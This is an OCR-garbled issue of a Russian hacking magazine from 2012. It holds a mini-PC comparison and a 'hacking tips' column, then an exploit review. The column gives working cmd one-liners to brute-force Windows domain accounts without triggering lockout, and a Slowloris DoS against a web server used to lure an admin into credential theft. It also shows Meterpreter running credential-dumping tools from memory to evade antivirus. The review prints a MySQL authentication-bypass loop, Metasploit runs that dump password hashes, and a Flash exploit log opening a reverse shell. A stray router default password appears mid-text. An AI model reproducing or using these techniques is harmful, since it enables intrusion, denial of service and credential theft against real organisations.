LINUX.ДРУГИЕ КИТАЙСКИЕ УСТРОЙСТВАСреди китайских устройств можно выделить три самых достойных:• Amlogic AML8726 — архитектура ARM Cortex A9 (65 нм), частота800 МГц, кеш L2 128 Кб, графический чип Mali-400 GPU с частотой250 MГц, поддержка декодирования видео 1080P.• Rockchip RK2918 — архитектура ARM Cortex A8 (55 нм), максимальнаячастота 1,2 ГГц, но пока устройства работают на частоте 1 ГГц, кеш L2512 Кб, графический чип GC800 GPU на частоте 600 MГц, поддержкадекодирования видео 1080P.• Allwinner A10 — архитектура ARM Cortex A8 (55 нм), максимальная частота1,5 ГГц (пока устройства работают на частоте ~1–1,2 ГГц), кеш L2512 Кб, графический чип Mali-400 GPU на частоте 300 MГц, поддержкадекодирования видео всех форматов 2160P.Аутсайдер — Amlogic, несмотря на продвинутое ядро Cortex A9. Причинав урезанной частоте (всего 800 МГц) и скромном кеше.042ХАКЕР 08 /163/ 2012


Макси-гайд по мини-компамСРАВНИВАЕММИНИ-ПКRaspberry Pi Cotton Candy CuBox PandaBoard Trim-Slice AllWinner A10РазработчикRaspberry PiFoundation, АнглияFXI Technologies,НорвегияSolidRun Ltd., ИзраильTexas Instruments,СШАCompuLab, ИзраильAllWinner TechnologyCo. Ltd.,КитайСтоимость 35 $ 199 $ 99 € 182 $ 213–338 $ 74 $ТипОСПроцессорОдноплатныйкомпьютерDebian, Ubuntu,FedoraBroadcomBCM2835, 700 МГцОдноплатныйкомпьютерAndroid 4.0 Ice CreamSandwichSamsung Exynos 4210,1,2 ГГцОдноплатныйкомпьютерUbuntu,AndroidMarvell Armada 510ARMv7, 800 МГцОдноплатныйкомпьютерБез ОС, можно установитьLinux, Android,QNZ, RiscOSTI OMAP 4460 ARMCortex-A9, 1,2 ГГцБезвентиляторныйнеттопUbuntuNVIDIA Tegra 2, 1,2 ГГцОдноплатныйкомпьютерAndroid 4.0 Ice CreamSandwichARM Cortex-A8, 1,5 ГГцК-во ядер 1 2 1 2 2 1Память 256 Мб 1 Гб DRAM 1 Гб DDR3 800 1 Гб DDR2 1 Гб DDR2-800 512 Мб DDR2ГрафическийчипПорты/разъемыВстроенный графическийчипUSB 2.0 x 2*HDMI x 1RCA x 1Mali-400 MPUSB 2.0 x 1microUSB x 1HDMI x 1Vivante GC600 MarvellvMeta HD VideoDecoderHDMI x 1S/PDIF x 1USB 2.0 x 1eSATA x 1irDA x 1microUSB x 1PowerVR SGX540 NVIDIA GeForce GPU Mali-400HDMI x 1DVI x 1Audio In/OutUSB x 3RS 232HDMI x 1DVI x 1USB 2.0 x 4S/PDIF 5.1 x 1Stereo line-out / line-inHDMI x 1USB 2.0 x 1microUSB x 1SATA x 1ЗапоминающееустройствоСетевые возможностиПотребляемаяэнергияSD, MMC SD microSD microSD, eSATA SD, MMC SD SD, SSD, SATA Micro TF 2-32GBEthernetWi-Fi 802.11b/g/nBluetooth1000baseT EthernetWi-Fi 802.11 b/g/nBluetooth100baseT Ethernet1000baseT EthernetBluetoothWi-Fi 80.211nRS-232100baseT EthernetWi-Fi 802.11 b/gн/д н/д 3 Вт н/д 2–6 Вт 2,75–7,8 ВтСводная таблица по всем описанным компьютерам* 2 порта у модели «B», модель «A» оснащается одним портомХАКЕР 08 /163/ 2012 043


ВЗЛОМ / EASY HACKАлексей «GreenDog» Тюрин, Digital Security (twitter.com/antyurin)EASYHACKINFOВсе описанныев рубрикепрограммы ищина диске.ПРОВЕРИТЬ БЕЗОПАСНОСТЬ SSL КЛИЕНТСКОЙ СТОРОНЫЗАДАЧАРЕШЕНИЕSSL лежит в основе безопасности и в интернете, и в корпоративныхсетях. В последние годы на него обратили пристальное внимание какисследователи, так и черные шапки. Мучают и сам протокол, и егофактические реализации. Обсуждения дыр и проблем появляютсячуть ли не каждый месяц.Мы с тобой в Easy Hack’е, стараясь быть на волне, касались атак наSSL (и его «комбинации» в виде HTTPS), в основном серверной части.Но давай не будем забывать, что SSL — клиент-серверная технология,а потому клиентское ПО и его настройка здесь играет не меньшуюроль, чем серверное. В качестве примера можно взять SSL версии2.0. У этого протокола есть целый пучок уязвимостей, позволяющихпроводить атаки man-in-the-middle. И к тому же этот протокол всееще поддерживается старыми и/или некорректно настроенными вебсерверами(не часто, но встречается систематически). Но даже еслимы найдем такой сервак, то провести атаку нам вряд ли удастся, ведьи клиентская часть должна поддерживать данный протокол. А всехоть сколько-то актуальные браузеры давно запретили использованиеSSL v2.0. Или, например, BEAST-атака. Чисто теоретически клиентымогли бы защититься от нее, если бы настроили свой браузерна подключение к серверу только с использованием RC4. Но я бы неподнял данный вопрос, если бы здесь все было так просто :).Когда мы имеем дело с клиентами, одна из главных целей —провести фишинг или MITM-атаку, то есть создать поддельныйсервер. А так как это SSL, где сервер аутентифицируется для клиента,используя сертификат (цепочку), то нам необходимо создатьподдельный сертификат или еще как-то обхитрить клиентское ПО.И здесь начинается интересное. Во-первых, мы имеем как минимумпарочку уязвимостей в некорректной обработке сертификатов, чтопозволило бы нам создать поддельный сертификат. Во-вторых,всевозможные тонкости с проблемами у удостоверяющих центров,отозванными или просроченными сертификатами. Там на самомделе много интересного :).Да, большинство веб-браузеров сконфигурены адекватно, обновляются,и такие проблемы им не страшны. Но не стоит забывать промногочисленное ПО, построенное на других платформах, относительностарое или не обновляемое. Например, приложение на Javaиспользует совсем другие настойки SSL, чем вся ОС в целом. Или,например, всевозможные мобильные приложения. О! и всевозможныеклиенты к другим протоколам типа FTPS, POP3S. Я, в общем, ведук тому, что если даже с веб-браузерами и все хорошо, то в остальныхТестирование SSL для Chrome044ХАКЕР 08 /163/ 2012


Хакерские секреты простых вещейместах все может быть хуже. Но сегодня мы не будем рассматриватьбаги. Их я постараюсь описать в следующих номерах на конкретныхпримерах. Сегодня — затравка и ответ на вопрос «как протестироватьклиентское ПО?».По сути, все просто. Добрые люди из Gremwell (www.gremwell.com)недавно реализовали тулзу sslcaudit (goo.gl/6vwuC), позволяющуютестировать SSL-клиенты. Выложенная ими версия пока что большепохожа на бету, так как из функционала только позволяет проверятьвсякие трики с сертификатами. Определение поддерживаемых видовшифрования и багов, с ними связанных, обещают внедрить в следующейверсии. Но и данного функционала нам достаточно.Установка из гитхаба:git clone -b release_1_0 https://github.com/grwl/sslcaudit.gitsudo apt-get install python-m2cryptoТакже необходим модуль для Python M2Crypto (goo.gl/nCw8W).Далее запускаем серверную часть:./sslcauditПотом коннектимся клиентом на порт 8443. Дальше все зависитот того, что конкретно за ПО и что необходимо проверить. Потому отправляюпока к мануалу — goo.gl/EKSWl.Определяем поддерживаемые клиентом виды шифрованияЕсли же требуется проверить какой-то клиент, работающийпо HTTPS, то можно воспользоваться сайтом https://ssltest.offenseindepth.com. Там все быстро и лаконично.Для того чтобы узнать поддерживаемое клиентским ПО шифрование(чего пока не делает sslcaudit), нам потребуется открыть SSL-порти поснифать Wireshark’ом. Простейший пример — биндим порт,используя ncat, и указываем ему, что подключение будет происходитьпо SSL.ncat -l -p 4343 --sslПо поддерживаемым видам шифрования также можно сделатьвывод о потенциальной поддержке SSL v2.0.ПРОБРУТФОРСИТЬ УЧЕТКИ В ДОМЕНЕЗАДАЧАРЕШЕНИЕДавай представим, что мы атакуем какую-то корпоративку. Но у наснет никакого доступа к ней, только единый сегмент. А для тогочтобы, не имея ничего, хоть чуть-чуть поднять свои права, у нас естьдва основных пути: атаковать либо какие-то сервисы, либо клиентов.Последнее, конечно, во многом проще. Способов для этого —масса, и одним из самых классических при проведении пентестовявляется перебор. Несмотря на свою прямоту и древесность, ондостаточно эффективен.Но когда мы имеем дело с доменом, кроме того что перебиратьпароли, нам требуется получить список логинов. Это, конечно, затрудняетдело, но на нашей стороне есть приличный плюс — логиныв домене очень часто выдаются на основании каких-то достаточнопростых правил. Классический пример: фамилия_инициалы. То естьнам нужно выявить хотя бы пару логинов, и мы уже довольно точносможем понять правила их формирования. Далее мы, подключиввсе возможные внешние источники, можем сформировать списоклогинов.Логины можно получить, например, поснифав SMB-трафик в корпоративкеили собрав метаданные из офисных документов и PDF’ок.К тому же есть еще корпоративная электронная почта и всякаяразная социальная инженерия.Если же нам совсем повезло и контроллер домена хреново настроен,то мы можем подключиться к нему по NULL session, используяCain, а далее, запустив перебор по SID’ам (см. рисунок), получитьсписок логинов.Итак, первое дело сделано. Второе — это перебрать пароль. Ноздесь опять возникает небольшая трудность: и в винде, и в самомдомене есть несколько парольных политик. Увидеть их можно, используякоманду (конечно, если ты уже в домене):net accounts /domainНа рисунке, например, после восьми попыток ввода пароля аккаунтблочится на пять минут.Пример настроек парольных политик в доменеПри переборе нам желательно не доходить до этого ограничения.Но чтобы его выяснить, вероятно, придется кого-то и залочить :).Далее — сам перебор. Из-за указанных ограничений нам нужновыбрать несколько самых возможных паролей и начать перебиратьдля каждого пользователя.Сделать это можно с помощью различных тулз, но можно обратитьсяи к нативным возможностям. Пример от commandlinekunfuтераLaNMaSteR53:@FOR /F %n in (names.txt) DO @FOR /F %p in (passwords.txt)DO @net use \\DC01 /user:mydomain\%n %p 1>NUL 2>&1 &&@echo [*] %n:%p && @net use /delete \\DC01\IPC$ > NULЗдесь он перебирает учетки по двум файлам с паролями и логинамиза счет подключения к IPC$ у контроллера домена. В случаеуспеха выводится учетка, а подключенная шара удаляется.Все просто. Но LaNMaSteR53 поделился еще одной интереснойнаходкой. Он рассказал, что как-то видел ситуацию, когда в доменебыло около 1000 учеток, которые были активны, но под которымиеще никто ни разу не логинился. То есть они должны были бы бытьХАКЕР 08 /163/ 2012 045


ВЗЛОМ / EASY HACKс дефолтным паролем. К сожалению, чтобы выискать такие учетки,нам потребуется Cain и возможность подключиться к контроллерудомена. Но продолжим…В такой ситуации LaNMaSteR53 предложил логичную мысль —как в прошлом примере, перебирать логины, но пароли при этом неповторять. То есть мы получим такой список для перебора:Login1:Password1Login1:Password2Login1:Password3Login2:Password4Login2:Password5Login2:Password6В примере LaNMaSteR’а количество попыток было ограниченотремя. Значит, можно было бы попробовать 2000 возможных вариантовдефолтного пароля и при этом не заблочить ни одной учетки. Нуи для фана посмотрим на еще одно кун-фу, которое реализует этотперебор:cmd /v:on /c "set /a usercount=0 >NUL & for /F %u in(users.txt) do @set/a passcount=0 >NUL & set /a lpass=!usercount!*4 >NUL &set /a upass=!usercount!*4+4>NUL & @(for /F %p in (passwords.txt) do @(IF !passcount!GEQ !lpass! (IF !passcount!LSS !upass! (@net use \\DC01 /user:mydomain\%u %p 1>NULПеребираем SID для получения имен пользователей2>&1 && @echo This works%u/%p && @net use /delete \\DC01\IPC$ > NUL))) & set /apasscount=!passcount!+1 >NUL)& set /a usercount=!usercount!+1 >NUL"Умора!login: Alphanetworkspassword: wrgg19_c_dlwbr_dir300СЛИТЬ БД ЧЕРЕЗ DNSЗАДАЧАРЕШЕНИЕДавай порадуемся: наконец-то это произошло! Совместиласьхардкорная техника DNS-туннелинга и опаснейшая уязвимость —SQL-инъекция. Гремучая штука получила свою жизнь в новойверсии sqlmap.SQL-инъекции не зря находятся на первом месте в спискеOWASP. И если кому-то и казалось, что это «прошлый век»и «дырка хреновых кодеров», то ситуация c корпорацией Sonyи атаками Anonymous’ов доказала обратное — или, наоборот,подтвердила эти слова? :)Конечно, особенно пугают SQL-инъекции потому, что бизнесмногих компаний висит на сайтах и работающих с ними СУБДи несанкционированный доступ в них страшнее проникновенияв корпоративную сеть самой компании. А тут добавляются особенныевиды постэксплуатации, позволяющие вывалиться из БДв ОС, — ууу... К тому же, ИМХО, проблема есть еще и в недоиспользованиивстроенных средств безопасности в СУБД, из-занезнания или упрощений от разработчиков — но это уже лирика.Второй компонент — DNS tunneling — также не суперновинкапрошлого года, а техника, которой уже с десяток лет. Правда,здесь нужно отметить, что безопасность не стоит на месте, и еслираньше после успешной атаки можно было просто «забиндить»порт и коннектиться на него потом, то теперь приходится не подетскиизвращаться из-за повсеместного внедрения файрволов,разрешающих трафик только с определенных портов на определенные.Кстати, если кто-то не в курсе, что такое DNS-туннелинг, то япоясню. Это техника, в основе которой лежит то, что данные мыпередаем (инкапсулируя их) через DNS-запросы. Главнейшийплюс применения техники заключается в том, что есть такаявещь, как DNS-форвардинг. Поясню на примере. Есть, предположим,сервер, который находится в DMZ и отлично зафильтрованВот так мы сливаем данные через SQL-инъекцию, используя DNSфайрволами. Но для взаимодействия с другими серверами корпоративнойсети (или по привычке?) на нем настроен в качествеосновного корпоративный DNS-сервер. Для этого взаимодействия,конечно, на файрволах пропилены маленькие дырочки(а чего бояться, корпоративный же DNS?). Так вот, если мызахотим с таким сервером в DMZ общаться, то будем использоватьDNS-туннелинг. Те данные, что мы хотим получить от сервера,сервер будет инкапсулировать в DNS-запрос, посылаемый на наш046ХАКЕР 08 /163/ 2012


Хакерские секреты простых вещейдомен в интернете. Но сервер не будет подключаться к нам напрямую,а передаст запрос на корпоративный DNS, и тот уже самподключится к нам, запрашивая какой-то поддомен и передаваятаким образом информацию.Кстати, поделюсь опытом. Описанная схема очень частовстречалась мне при аудите интернет-банкингов (а я их провелприлично) российских банков. И почти везде был включенDNS-форвардинг, что позволило бы получить удаленный шеллв случае их взлома (в обход строжайших правил фильтрациитрафика).А самой классной реализацией DNS-шелл я могу назватьразработку от Алексея Синцова. Реально шикарная вещь —быстрая, стабильная и поддерживает работу с несколькимиклиентами. Если тебе нужна для благих целей, можешь у негопопросить :).Вообще, DNS — модная штука. Здесь стоит отметить и недавнююразработку Corelan’а — шелл-код download&executeчерез DNS, которую он сделал специально для Metasploit’а. Жаль,что пока Meterpreter не наградили такой возможностью…Но вернемся к теме. Наконец-то кому-то пришла в головутакая чудесная мысль — использовать DNS для слива данных изСУБД через SQL-инъекции. Ведь это же так логично! Во всякомслучае, DNS-туннелинг куда проще в своей основе, чем извращенияпри blind’ах, построенные на сравнении тайминга иликонтента.Сравнение скорости работы sqlmap при использовании различных методовНа самом деле, ребятам, создающим sqlmap (goo.gl/xl4Hv),стоит сказать большое спасибо. Но внутреннего внедрения якасаться не буду, так как оно само по себе типовое и не особозанимательно. Если кто-то заинтересовался, подробности будутв следующем номере.ПРОВЕРИТЬ ОТКАЗОУСТОЙЧИВОСТЬ ВЕБ-СЕРВЕРАЗАДАЧАРЕШЕНИЕDoS, он же «отказ в обслуживании», — двоякая вещь: его и боятся,и «не уважают». Вот нашел ты переполняшку в каком-тосервисе, но по тем или иным причинам (например, помешали DEPи ASLR) дойти до «remote code execution» не можешь — толькоDoS. И расстроенно думаешь «фу-фу-фу, всего лишь какой-тодос». А в то же время даже СМИ трубят о страшном биче интернета— DoS/DDoS-атаках. Что от них никому не спастись… Хотяздесь все понятно — отношение зависит от целей. DoS = неработоспособностьсервиса = убытки бизнесу.Но еще интересней, когда DoS возможен не из-за проблемконкретного ПО, конкретной реализации, а из-за «уязвимостей»протокола. И еще круче, когда для того, чтобы завалить сервис,тебе не требуется 100 000 ботов, а нужен всего лишь один хост.И как, наверное, ясно из задачи, мы рассмотрим протокол HTTP.Тема вообще широкая, мы ее как-то уже касались, но я постараюсьза несколько номеров расписать основные атаки. Опятьтаки— будем держаться в тренде :). К тому же HTTP-протоколпрост и показателен, и его «проблемы» можно перенести и надругие протоколы.Сегодня — Slowloris (goo.gl/tbe81). Эту тулзу реализовал РобертХансен (Robert «RSnake» Hansen) еще в 2009 году, но она досих пор достаточно актуальна. Идея атаки несложна — проинициализироватьмножество HTTP-запросов к веб-серверу, но непосылать их целиком, а поддерживать как можно дольше в подвешенномсостоянии, посылая частями. Здесь расчет идет на то,что веб-сервер может обработать HTTP-запрос к нему, толькокогда тот полностью получен. Таким образом, если мы будем начинатьзапросы и дальше нескончаемо посылать по чуть-чуть заголовкизапроса, то при большом количестве таких запросов мысможем занять «все» ресурсы веб-сервера. Все — это я, конечно,загнул. В данном случае имеется в виду, что мы пытаемся дойтидо определенного лимита. Например, до ограничения количестваодновременных соединений. Хотя для этой атаки наиболееуязвимы веб-серверы, построенные на использовании потоковдля обработки HTTP-запросов. Мы можем дойти до ограниченияна количество потоков, которое обычно должно присутствовать.Таким образом, уязвимыми, например, являются веб-серверыApache.Еще интересный плюс Slowloris — ее относительная незаметность.Во-первых, потому, что создается достаточно малотрафика. Во-вторых, потому, что опять же в логи входящие запросызаписываются только тогда, когда будут полностью получены.То есть мы начинаем атаку, доходим до лимита, на веб-сервер непопасть, а в логах — ничего.Вторым плюсом можно еще выделить то, что после прекращенияатаки веб-сервер приходит в себя достаточно быстро. Такимобразом, эту Slowloris можно использовать, когда требуетсяSlowloris в деле — defcon-russia.ru недоступенХАКЕР 08 /163/ 2012 047


ВЗЛОМ / EASY HACKзаманить админа на атакуемый сервер. Например, в корпоративнойсети. Досим какой-нибудь корпоративный прокси-сервер,пользователи жалуются админу, админ ползет по RDP на серверпроверить, что да как, а мы его спуфим и из RDP достаем админскуюучетку :).Если говорить о практике, то там все просто. Slowloris, хотяизначально и была написана на Perl’е и требует несколько CPANмодулей,теперь имеет несколько вариантов на разных языках.Думаю, важно отметить, что из-за реализации работы с сокетамив Windows Slowloris работать на ней не будет.1. Ставим необходимые модули для Perl:perl -MCPAN -e 'install IO::Socket::INET'perl -MCPAN -e 'install IO::Socket::SSL'2. Проверяем отказоустойчивость:perl slowloris.pl -dns victim.comС точки зрения возможностей, здесь важно отметить, чтоможно использовать в качестве метода GET (по умолчанию), HEAD,POST, а атаку можно проводить и на HTTPS.Для большей эффективности можно настроить тайм-ауты, но,ИМХО, тулза и без этого хорошо работает.ОБНОВИТЬ BACKTRACK 5ЗАДАЧАРЕШЕНИЕНебольшой трик. В последнее время Offensive Security зачастилис обновлениями дистрибутива BackTrack. Но качать и переустанавливатьничего не требуется. Вспомни — BackTrack теперьв своей основе Ubuntu, и все, что нам требуется для поддержанияактуальности хакерского софта, — почаще использовать apt-get.Ну и конкретный мануал по обновлению BackTrack’а до последнейверсии 5 R2 — goo.gl/1Jlwa. Дело это займет примерно полчаса.СПРЯТАТЬ ПО ОТ АНТИВИРУСОВ,ИСПОЛЬЗУЯ METERPRETERЗАДАЧАРЕШЕНИЕЭтот Easy Hack получается каким-то радостным, и причиной томупродвинутые хак-техники, которые попадают к нам в руки. Позвольпорадовать тебя еще раз одной прекрасной новостью — новойвозможностью, которая была добавлена в Metasploit. А точнеев супер-пупер-шелл Meterpreter. Хотел бы я ее описать однимсловом, но нужного не нашел :).Если кратко и по существу, то теперь Meterpreter получил уникальнуювозможность — загружать жертве в память и запускатьиз нее произвольные exe’шнички.О, как же давно этого не хватало!Ведь часто была такая ситуация, что находишь уязвимыйсервис на какой-то тачке в корпоративной сети, запускаешьэксплойт, он срабатывает «как надо» и мы получаем meterpreterшеллна ней. Казалось бы — все отлично! Домен ведь такаяштука — сломал где-то в одном месте и, используя комбинациивсяких глубоких «уязвимостей» (а-ля SMBRelay, Pass the Hash),можешь шаг за шагом дойти и до админства на контроллере домена.Но это только кажется…Нет, конечно, это правда, но чаще всего на практике у насобнаруживаются подводные камни :).Во-первых, хотя Meterpreter и крутая штука, в которую встроеныклассные модули (типа incognito) и всевозможные скрипты,позволяющие слить всю инфу со скомпрометированной тачки, номестами есть пробелы. Например, отсутствует модуль, которыйумеет выдирать из памяти NTLM-хешики от доменных учеток,под которыми запущены какие-то процессы. Хотя это умеет WCE.Или, например, новомодная штука mimikatz. Пароли в открытомвиде — шикарно. Но ее, к сожалению, еще нет в списке модулейMeterpreter.Конечно, решение этих трудностей простое — закачатьтребуемый exe’шничек куда-нибудь жертве и запустить его. И тутпоявляется «во-вторых». Вторая постоянная проблема — антивирусы.Ведь большинство хакерских тулз отлично палятсяантивирусами (в отличие от процесса эксплуатации дырявого ПОи закачки meterpreter’а). Да, можно воспользоваться криптороми спрятать тулзу от глаз антивиря, но кто любит лишнийгеморрой?К тому же одна из главных фич meterpreter’а — его незаметностьдля forensic’а. Все происходит в оперативной памяти.Почти никаких следов не остается. А закачивая тулзу на диск, мыоставляем четкие следы.То есть новая фича meterpreter’а — сверхполезна.Но давай перейдем к практике. Для того чтобы запустить нашутулзу, например уже упомянутый WCE, нам требуется выполнитьпростейшую команду в meterpreter-шелле:execute -H -m -d calc.exe -f wce.exe -a "-o creds.txt"где execute — указываем, что нам требуется запустить что-то;-H — создать скрытый процесс;-m — указываем, что процесс должен быть исполнен из памяти;-d — имя «dummy»-exe’шника, в котором будет прятаться нашатулза;-f — exe’шничек нашей хак-тулзы, которую мы хотим закачать нажертву и исполнить;-a "-o creds.txt" — передаем параметры для нашей тулзы.Для большей понятности надо пояснить, как происходитсам процесс исполнения из памяти. К сожалению, в тонкостяхи подробностях я еще не разбирался, но общая схема такова.Meterpreter, сидящий в памяти, порождает процесс из подставного,«dummy»-exe’шника. Потом подключается к немукак отладчик, «вырывает все внутренности» и заменяет их навнутренности настоящего exe’шничка — нашей тулзы. Почтимагия :).В итоге наша тулза работает прямо из памяти. А если посмотретьсписок процессов, то можно увидеть только изначальный«dummy»-процесс.Вот и всё. Успешных ресерчев и познаний нового!048ХАКЕР 08 /163/ 2012


ВЗЛОМ / ОБЗОР ЭКСПЛОЙТОВПавел Александрович (ivinside.blogspot.com)Ошибок в кодеМеньше не становится.Время не властно над ними.0бзорэксплойтовАНАЛИЗ СВЕЖЕНЬКИХ УЯЗВИМОСТЕЙ1Обход аутентификации в MySQL/MariaDBCVSSV2 7.5(AV:N/AC:L/AU:N/C:P/I:P/A:P))BRIEFОдним летним субботним вечером разработчик и координатор безопасностиMariaDB Сергей Голубчик опубликовал детали уязвимости подномером CVE-2012-2122 в популярной СУБД MySQL и ее ответвлении —MariaDB. Невиданная щедрость заключается в том, что при удачномстечении обстоятельств появляется возможность подключиться к базеданных под существующим пользователем (в том числе и root, которыйесть всегда) с любым паролем.EXPLOITВначале немного поведаю тебе о том, как происходит аутентификация вMariaDB/MySQL. Когда пользователь подключается к базе, вычисляетсятокен (SHA от пароля и случайной строки), далее этот токен сравниваетсяс имеющимся, вычисленным на этапе создания или изменения пароля.Если значения совпадают, то пользователь успешно подключается кбазе. Решение это принимается на основании возвращаемого значенияфункции memcmp() примерно следующим образом:typedef char my_bool;...my_bool check(...) {return memcmp(...);}Проблема здесь в том, что функция check() возвращает char, аmemcmp() — int. Поэтому происходит преобразование int в char, сталобыть, просто берется младший байт от int. И тогда может случиться так,что memcmp() возвратила не ноль, например, 0x100 — токены не совпадают,а char в итоге получается равен нулю. Пользователь проходит, какбудто пароль оказался верный. Однако далеко не везде memcmp() можетвернуть значение, в котором младший байт равен нулю, а старший — нет.Джошуа Дрейк из компании Accuvant Labs разработал небольшую утилиту(pastie.org/4064638), которая проверяет возвращаемые memcmp()значения и на основании этого делает вывод об уязвимости системы.Таким образом, возможность эксплуатации данного бага сильно зависитот конкретной ОС и сборки MySQL/MariaDB.В уязвимой системе вероятность успешного входа со случайнымпаролем равна 1/256, а простейший способ самопроверки выглядитследующим образом:$ for i in 'seq 1 1000'; do mysql -u root --password=bad \-h 127.0.0.1 2>/dev/null; doneЕсли после запуска этой команды внезапно возникло приглашениеконсоли MySQL, то система в числе уязвимых.Чуть позже Джонатан Кран из компании Pwnie Express разработалмодуль для Metasploit, который автоматизирует обход аутентификациии дампит хеши паролей пользователей. Вот так выглядит пример работыэтого модуля:$ msfconsolemsf > use auxiliary/scanner/mysql/mysql_authbypass_hashdumpmsf auxiliary(mysql_authbypass_hashdump) > set USERNAME rootmsf auxiliary(mysql_authbypass_hashdump) >set RHOSTS 127.0.0.1msf auxiliary(mysql_authbypass_hashdump) > run[+] 127.0.0.1:3306 The server allows logins, proceedingwith bypass test[*] 127.0.0.1:3306 Authentication bypass is 10% complete[*] 127.0.0.1:3306 Authentication bypass is 20% complete[*] 127.0.0.1:3306 Successfully bypassed authenticationafter 205 attempts050 ХАКЕР 08 /163/ 2012


Обзор эксплоитовэксплойтов[+] 127.0.0.1:3306 Successful exploited the authenticationbypass flaw, dumping hashes...[+] 127.0.0.1:3306 Saving HashString as Loot:root:*C8998584D8AA12421F29BB41132A288CD6829A6D[+] 127.0.0.1:3306 Saving HashString as Loot:root:*C8998584D8AA12421F29BB41132A288CD6829A6D[+] 127.0.0.1:3306 Saving HashString as Loot:root:*C8998584D8AA12421F29BB41132A288CD6829A6D[+] 127.0.0.1:3306 Saving HashString as Loot:root:*C8998584D8AA12421F29BB41132A288CD6829A6D[+] 127.0.0.1:3306 Saving HashString as Loot:debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89[*] 127.0.0.1:3306 Hash Table has been saved:20120611013537_default_127.0.0.1_mysql.hashes_889573.txt[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completedTARGETSУязвимы все версии MariaDB и MySQL до 5.1.61, 5.2.11, 5.3.5, 5.5.22 на следующихсистемах: Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04),openSUSE 12.1 64-bit, Debian Unstable 64-bit, Fedora 16, Arch Linux.SOLUTIONУстановить последние патчи. Кроме того, важно не забывать о первомправиле безопасности MySQL — ограничить подключение к базе из сети.Для этого нужно открыть конфиг my.cnf и в секции [mysqld] изменить параметрbind-address на 127.0.0.1, тем самым разрешив только локальныеподключения.2Выполнение произвольного кода в AdobeFlash PlayerCVSSV2 10.0(AV:N/AC:L/AU:N/C:С/I:С/A:С)BRIEFУязвимость в Adobe Flash Player, связанная с подменой объекта, былаобнаружена еще в мае этого года. Она позволяет выполнить произвольныйкод на целевой системе. Тогда она эксплуатировалась при помощидокумента Word с внедренным в него Flash (SWF) объектом. Но деталиэксплуатации стали известны лишь недавно.EXPLOITУчастники проекта Metasploit проанализировали зловред, эксплуатирующийданную уязвимость. О нем я и хочу немного рассказать. В ходеанализа было обнаружено использование техники SWF’s spray, котораяпозволяет атакующему контролировать определенные участки памятиприложения для последующего исполнения кода в них. В конечном итогебыл сделан вывод, что уязвимость проявляется при обработке сообщенийAMF (Action Message Format) сервера RTMP (Real Time MessagingProtocol). RTMP — это проприетарный протокол потоковой передачиданных, в основном используется для передачи потокового видео иаудиопотоков с веб-камер через интернет.Но триггер (код, вызывающий срабатывание уязвимости) так и неудалось выявить из-за того, что зловредные RTMP-серверы были уженедоступны. Был поднят собственный Flash Media Server, и в процессевзаимодействия он возвращал ошибку в ответ на systemMemoryCall(), ноэксплойт не срабатывал.К счастью, в руки исследователей угодил PCAP-файл, содержащийлог взаимодействия зараженной машины с RTMP-сервером. Былипроанализированы различия ошибок, посланных в ответ на вызовsystemMemoryCall(). Как и ожидалось, к аварийному завершению AbodeFlash Player приводил специально сформированный ответ об ошибке:(348.540): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exceptionhandling. This exception may be expected and handled.eax=02dbac01 ebx=0013e2e4 ecx=02dbac10edx=44444444 esi=02dbac11 edi=00000000eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202Flash32_11_2_202_228!DllUnregisterServer+0x300e84:104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]ds:0023:44444470=????????0:000> u eipFlash32_11_2_202_228!DllUnregisterServer+0x300e84:104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]104b1b30 53 push ebx104b1b31 ffd0 call eaxИтак, после проведения ритуала вуду в свет вышел модуль дляMetasploit, позволяющий эксплуатировать данную уязвимость в InternetExplorer 6/7/8 на Windows XP SP3:msf > use exploit/windows/browser/adobe_flash_rtmpmsf exploit(adobe_flash_rtmp) > exploit[*] Exploit running as background job.[*] Started reverse handler on 192.168.1.157:4444[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0[*] Server started.msf exploit(adobe_flash_rtmp) >[*] 192.168.1.158 adobe_flash_rtmp - Client requesting:/Sgs7eu3zjBo0[*] 192.168.1.158 adobe_flash_rtmp - Using msvcrt ROP[*] 192.168.1.158 adobe_flash_rtmp - Sending html[*] 192.168.1.158 adobe_flash_rtmp - Client requesting:/Sgs7eu3zjBo0/BnKXAzRw.swf[*] 192.168.1.158 adobe_flash_rtmp - Sending Exploit SWF[*] 192.168.1.158 adobe_flash_rtmp - Connected to RTMP[*] Sending stage (752128 bytes) to 192.168.1.158[*] Meterpreter session 1 opened (192.168.1.157:4444 ->192.168.1.158:1840) at 2012-06-22 11:11:16 +0200[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'[*] Current server process: iexplore.exe (2284)[*] Spawning notepad.exe process to migrate to[+] Migrating to 3904[+] Successfully migrated to processTARGETSУязвимы Adobe Flash Player 11.2.202.233 и более ранние версии дляWindows, Macintosh и Linux, а также Adobe Flash Player 11.1.115.7 и болееранние версии для Android 4.x и Adobe Flash Player 11.1.111.8 и более ранниедля Android 3.x и 2.x.SOLUTIONОбновить Adobe Flash Player до последней версии.3Выполнение произвольного кода в MicrosoftXML Core ServicesCVSSV2 10.0(AV:N/AC:L/AU:N/C:С/I:С/A:С)BRIEFУязвимость позволяет атакующему выполнить произвольный код нацелевой системе, если пользователь зайдет на специально сформированнуюстраницу через Internet Explorer или откроет зараженныйХАКЕР 08 /163/ 2012051


